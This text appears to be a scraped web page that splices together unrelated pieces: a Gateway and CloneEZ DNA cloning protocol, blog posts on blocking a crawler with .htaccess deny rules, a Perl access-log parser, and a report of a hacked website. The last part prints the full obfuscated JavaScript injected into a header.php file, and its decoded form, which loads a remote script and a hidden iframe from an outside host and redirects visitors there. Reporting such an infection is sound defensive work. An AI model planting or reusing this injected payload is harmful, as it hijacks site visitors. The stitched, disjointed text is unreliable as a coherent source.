1. Set up the following reaction in a 0.5 ml eppendorf tube by mixing the following reagents
gently and then spin down briefly to collect the reagents at the bottom of the tube.
Linearized vector (100-200 ng/μl):       6 μl
Purified PCR products (100-200 ng/μl):   n μl
10X CloneEZ® Buffer:                     2 μl
CloneEZ® Enzyme                          2 μl
Deionized water                   up to 20 μl

In general, add more than 10 μl PCR DNA (n = 10) to the reaction can produce nearly 95%
positive clones. In addition, less amount of DNA is appropriate for short PCR DNA fragments.
For different sizes of PCR DNA, different amount of DNA is recommended below:
PCR DNA of 1 kb:  4 μl
PCR DNA of 2 kb:  6 μl
PCR DNA of 3 kb:  8 μl
PCR DNA of >3 kb: 10 μl

2. Incubate the reactions at 22°C for 30 minutes, and then transfer tubes to ice and
incubate on ice for five minutes.

3. Proceed with transformation. The reaction can also be stored at -20°C for later transformation.

BP Reaction

Creating a Gateway entry clone from an attB-flanked PCR product is an easy 1 hour reaction. See below for an overview of the set-up. For more detailed information, refer to the manual.

1. Add the following components to a 1.5 ml tube at room temperature and mix: attB-PCR product (=10 ng/µl; final amount ~15-150 ng) 1-7 µl Donor vector (150 ng/µl) 1 µl TE buffer, pH 8.0 to 8 µl
2. Thaw on ice the BP Clonase™ II enzyme mix for about 2 minutes. Vortex the BP Clonase™ II enzyme mix briefly twice (2 seconds each time).
3. To each sample (Step 1, above), add 2 µl of BP Clonase™ II enzyme mix to the reaction and mix well by vortexing briefly twice. Microcentrifuge briefly.
4. Return BP Clonase™ II enzyme mix to -20°C or -80°C storage.
5. Incubate reactions at 25°C for 1 hour.
6. Add 1 µl of the Proteinase K solution to each sample to terminate the reaction. Vortex briefly. Incubate samples at 37°C for 10 minutes.

Transformation

1. Transform 1 µl of each LR reaction into 50 µl of One Shot ® OmniMAX ™ 2 T1 Phage-Resistant Cells (Catalog no. C8540-03). Incubate on ice for 30 minutes. Heat-shock cells by incubating at 42°C for 30 seconds. Add 250 µl of S.O.C. Medium and incubate at 37°C for 1 hour with shaking. Plate 20 µl and 100 µl of each transformation onto selective plates. Note: Any competent cells with a transformation efficiency of >1.0 × 10 8 transformants/µg may be used.
2. Transform 1 µl of pUC19 DNA (10 ng/ml) into 50 µl of One Shot ® OmniMAX ™ 2 T1 Phage-Resistant Cells as described above. Plate 20 µl and 100 µl on LB plates containing 100 µg/ml kanamycin, or the appropriate selection marker for your donor vector.

Expected Results An efficient BP recombination reaction will produce >1500 colonies if the entire BP reaction is transformed and plated.

LR Reaction

Transferring your gene from a Gateway® entry clone to destination vector is an easy 1 hour reaction. See below for an overview of the set-up. For more detailed information, refer to the manual.

1. Add the following components to a 1.5 ml tube at room temperature and mix: Entry clone (50-150 ng) 1-7 µl Destination vector (150 ng/µl) 1 µl TE buffer, pH 8.0 to 8 µl
2. Thaw on ice the LR Clonase ™ II enzyme mix for about 2 minutes. Vortex the LR Clonase ™ II enzyme mix briefly twice (2 seconds each time).
3. To each sample (Step 1, above), add 2 µl of LR Clonase ™II enzyme mix to the reaction and mix well by vortexing briefly twice. Microcentrifuge briefly.
4. Return LR Clonase ™ II enzyme mix to -20°C or -80°C storage.
5. Incubate reactions at 25°C for 1 hour.
6. Add 1 µl of the Proteinase K solution to each sample to terminate the reaction. Vortex briefly. Incubate samples at 37°C for 10 minutes.

Transformation Follow the protocol as indicated for the BP reaction, except use the appropriate selection marker for the LB plates suited to your destination vector (typically 100 µg/ml ampicillin). Expected Results An efficient LR recombination reaction will produce >5000 colonies if the entire LR reaction is transformed and plated.

One Tube Format If you want to transfer your attB-flanked PCR product directly into an expression clone, you can easily combine the BP and LR reactions using the following protocol. This will potentially eliminate the transformation and DNA isolation of the Gateway® entry clone.

1. In a 1.5 ml microcentrifuge tube, prepare the following 15 µl BP reaction: attB DNA (50-100 ng) 1.0-5.0 µl attP DNA (pDONR™ vector, 150 ng/µl) 1.3 µl BP Clonase™ II enzyme mix 3.0 µl TE Buffer, pH 8.0 add to a final volume of 15 µl
2. Mix well by vortexing briefly and incubate at 25°C for 4 hours. Note: Depending on your needs, the length of the recombination reaction can be extended up to 20 hours. An overnight incubation typically yields 5 times more colonies than a 1 hour incubation. Longer incubation times are recommended for large plasmids (=10 kb) and PCR products (=5 kb).
3. Remove 5 µl of the reaction to a separate tube and use this aliquot to assess the efficiency of the BP reaction (see below).
4. To the remaining 10 µl reaction, add: Destination vector (150 ng/µl) 2.0 µl LR Clonase™ II enzyme mix 3.0 µl Final volume 15 µl
5. Mix well by vortexing briefly and incubate at 25°C for 2 hours. Note: Depending on your needs, the length of the recombination reaction can be extended up to 18 hours.
6. Add 2 µl of proteinase K solution. Incubate at 37°C for 10 minutes.
7. Transform 50 µl of the appropriate competent E. coli with 1 µl of the reaction.
8. Plate on LB plates containing the appropriate antibiotic to select for expression clones.

Assessing the Efficiency of the BP Reaction

1. To the 5µl aliquot obtained from “One-Tube” Protocol, Step 3, above, add 0.5 µl of proteinase K solution. Incubate at 37°C for 10 minutes.
2. Transform 50 µl of the appropriate competent E. coli with 1 µl of the reaction. Plate on LB plates containing the appropriate antibiotic to select for entry clones. 

Gateway® Vector Conversion Converting your favorite set of cloning vectors to Gateway® Technology is a fairly straightforward protocol, and will ultimately allow you to streamline your cloning and expression process. To convert your cloning vector to a Gateway® destination vector, you will:

1. Choose the appropriate reading frame cassette to use depending on your needs.
2. Linearize the vector you wish to convert with a restriction enzyme of choice. If you use a restriction enzyme that generates an overhang, you will need to blunt the ends.
3. Remove the 5′ phosphates from the vector using calf intestinal alkaline phosphatase.
4. Ligate the reading frame cassette into your vector using T4 DNA ligase.
5. Transform the ligation reaction into One Shot® ccdB Survival™ Competent E. coli and select for transformants.
6.  Analyze transformants.

Shopwiki is a useless spam bot. I generated no revenue from the junk “search engine”. It visited my site for  323744 times for 7 days:

64162      38.98.120.84     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
57296      209.51.162.219     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
47174      67.152.29.130     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
45508      8.11.2.9     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
45246      8.11.2.10     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
32690      209.51.162.220     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
16364      38.98.120.94     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
15304      65.46.75.190     ShopWiki/1.0 ( +http://www.shopwiki.com/wiki/Help:Bot)
Total visits:323744

Here is how to block it:

Add the following lines to your .htaccess file

deny from 38.98.120.84


deny from 209.51.162.219
deny from 67.152.29.130
deny from 8.11.2.9
deny from 8.11.2.10
deny from 209.51.162.220
deny from 38.98.120.94
deny from 65.46.75.190

This is my http log file parse. It will tell you who is crawling your site. Hope you like it

#!/usr/local/perl
use strict;
my @files=<*_access.log*>;

my %address=();
my %agents=();
foreach my $file (@files)

{
    my $ggl=0;
    my $yahoo=0;
    my $cuil=0;
    my $twiceler=0;
    my $Jeeves=0;
    my $Yandex=0;
    my $legs=0;
    my $Baiduspider=0;
    my $dotnetdotcom=0;
    my $msn=0;
    my $seoprofiler=0;

    open (IN, “$file”);
    my $outfile=”$file.txt”;
    open (OUT, “>$outfile”);
    while (<IN>)
    {   
        my $orig_line=$_;
        my ($line) = $orig_line;
        #$line=~ s/\///g;
            my @arr= split (/\”/, $line);
            my $ip=shift(@arr);
            my $agent=pop(@arr);
            $agent=pop(@arr);
            @arr=split(/ /,$ip);
            $ip=shift(@arr);
            if  (exists $address{$ip})
            {
                 my $count= $address { $ip } ;
               
                $count++;
            #    print $ip .” “.$count.”\n”;
                 $address{$ip}=$count;
            }
            else
            {
                $address{$ip}=1;
                $agents{$ip}=$agent;
            }

        if ($line =~ /twiceler/ or $line =~ /cuil\.com/ or $line =~ /Yahoo\! Slurp/ or $line =~ /Googlebot/ or $line =~ /Ask Jeeves/ or
        $line =~ /Yandex/ or $line =~ /80legs/ or  $line =~ /Baiduspider/ or $line =~ /dotnetdotcom/ or $line=~ /seoprofiler/
        or $line=~ /msn.com/

)
        {

        #    print $line .”\n”;
            if ($line =~ /msn\.com/)
            {
                  $msn++;
            }
            if ($line =~ /twiceler/)
            {
                 $twiceler++;
            }
            if ($line =~ /cuil\.com/)
            {
                 $cuil++;
            }
            if ($line =~ /Yahoo\! Slurp/)
            {
                 $yahoo++;
            }
            if ($line =~ /Googlebot/)
            {
                  $ggl++;
            }
            if ($line =~ /Ask Jeeves/)
            {
                  $Jeeves++;
            }   
            if ($line =~ /Ask Jeeves/)
            {
                $Yandex++;
            }   
            if ($line =~ /80legs/)
            {
                $legs++;
            }   
            if ($line =~ /Baiduspider/)
            {
                $Baiduspider++;
            }           
            if ($line =~ /dotnetdotcom/)
            {
                $dotnetdotcom++;   
            }
            if ($line =~ /seoprofiler/)
            {
                $seoprofiler++;   
            }
        }
        else
        {
            print OUT $orig_line;
        }
    }
#    unlink ($file);
#    rename ($outfile, $file);
    print “google: $ggl, Yahoo: $yahoo, Cuil: $cuil, twiceler: $twiceler, Jeeves: $Jeeves, Yandex: $Yandex, legs: $legs\n”;
   print “Baiduspider: $Baiduspider, dotnetdotcom: $dotnetdotcom,   msn: $msn, seoprofiler: $seoprofiler \n”;
}

open (OUT, “>grant.txt”);
foreach my $key (sort hashValueDescendingNum  (keys(%address)))
{

        print OUT “$address{$key} \t $key\t $agents{$key}\n”;

}
close(OUT);

sub hashValueAscendingNum {
   $address{$a} <=> $address{$b};
}

sub hashValueDescendingNum {
   $address{$b} <=> $address{$a};
}

This web site was hacked,  the header.php filed was inserted a line of javascript code:

<script language=”javascript”><br/>document.write(unescape(`%3C%73%63%72%69%70%74%20%6C%61%6E%67%75%61%67%65%3D%22%6A%61%76%61%73%63%72%69%70%74%22%3E%66%75%6E%63%74%69%6F%6E%20%64%46%28%73%29%7B%76%61%72%20%73%31%3D%75%6E%65%73%63%61%70%65%28%73%2E%73%75%62%73%74%72%28%30%2C%73%2E%6C%65%6E%67%74%68%2D%31%29%29%3B%20%76%61%72%20%74%3D%27%27%3B%66%6F%72%28%69%3D%30%3B%69%3C%73%31%2E%6C%65%6E%67%74%68%3B%69%2B%2B%29%74%2B%3D%53%74%72%69%6E%67%2E%66%72%6F%6D%43%68%61%72%43%6F%64%65%28%73%31%2E%63%68%61%72%43%6F%64%65%41%74%28%69%29%2D%73%2E%73%75%62%73%74%72%28%73%2E%6C%65%6E%67%74%68%2D%31%2C%31%29%29%3B%64%6F%63%75%6D%65%6E%74%2E%77%72%69%74%65%28%75%6E%65%73%63%61%70%65%28%74%29%29%3B%7D%3C%2F%73%63%72%69%70%74%3E`))<br/>;dF(`%264Dtdsjqu%264Fepdvnfou/xsjuf%2639%2633%264Dtdsjqu%2631tsd%264E%266D%2633%2633%2C%2633iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G3%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2633%2C%2633%266D%2633%264F%264D%266D0tdsjqu%264F%2633%263%3A%264C%264D0tdsjqu%264F%261B%264Dtdsjqu%264F%261Bjg%2639uzqfpg%2639i%263%3A%264E%264E%2633voefgjofe%2633%263%3A%268C%261%3A%261B%261%3Aepdvnfou/xsjuf%2639%2633%264Djgsbnf%2631tsd%264E%2638iuuq%264B00jutbmmcsfbltpgu/ofu0uet0jo/dhj%264G4%2637tfpsfg%264E%2633%2CfodpefVSJDpnqpofou%2639epdvnfou/sfgfssfs%263%3A%2C%2633%2637qbsbnfufs%264E%2635lfzxpse%2637tf%264E%2635tf%2637vs%264E2%2637IUUQ%60SFGFSFS%264E%2633%2C%2631fodpefVSJDpnqpofou%2639epdvnfou/VSM%263%3A%2C%2633%2637efgbvmu%60lfzxpse%264Eopuefgjof%2638%2631xjeui%264E2%2631ifjhiu%264E2%2631cpsefs%264E1%2631gsbnfcpsefs%264E1%264F%264D0jgsbnf%264F%2633%263%3A%264C%2631%261B%268E%261Bfmtf%2631jg%2639i/joefyPg%2639%2633iuuq%264B%2633%263%3A%264E%264E1%263%3A%268C%261B%261%3A%261%3Axjoepx/mpdbujpo%264Ei%264C%261B%268E%261B%264D0tdsjqu%264F1`);<br/><br/></script>

DECODED:

<script>document.write("<script src=""+"http://itsallbreaksoft.net/tds/in.cgi?2&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+ encodeURIComponent(document.URL)+"&default_keyword=notdefine"+""></script>");</script> <script> if(typeof(h)=="undefined"){ document.write("<iframe src=`http://itsallbreaksoft.net/tds/in.cgi?3&seoref="+encodeURIComponent(document.referrer)+"&parameter=$keyword&se=$se&ur=1&HTTP_REFERER="+ encodeURIComponent(document.URL)+"&default_keyword=notdefine` width=1 height=1 border=0 frameborder=0></iframe>"); } else if(h.indexOf("http:")==0){ window.location=h; } </script>

This is script will redirect your visitors to itsallbreaksoft.net and then to many other websites.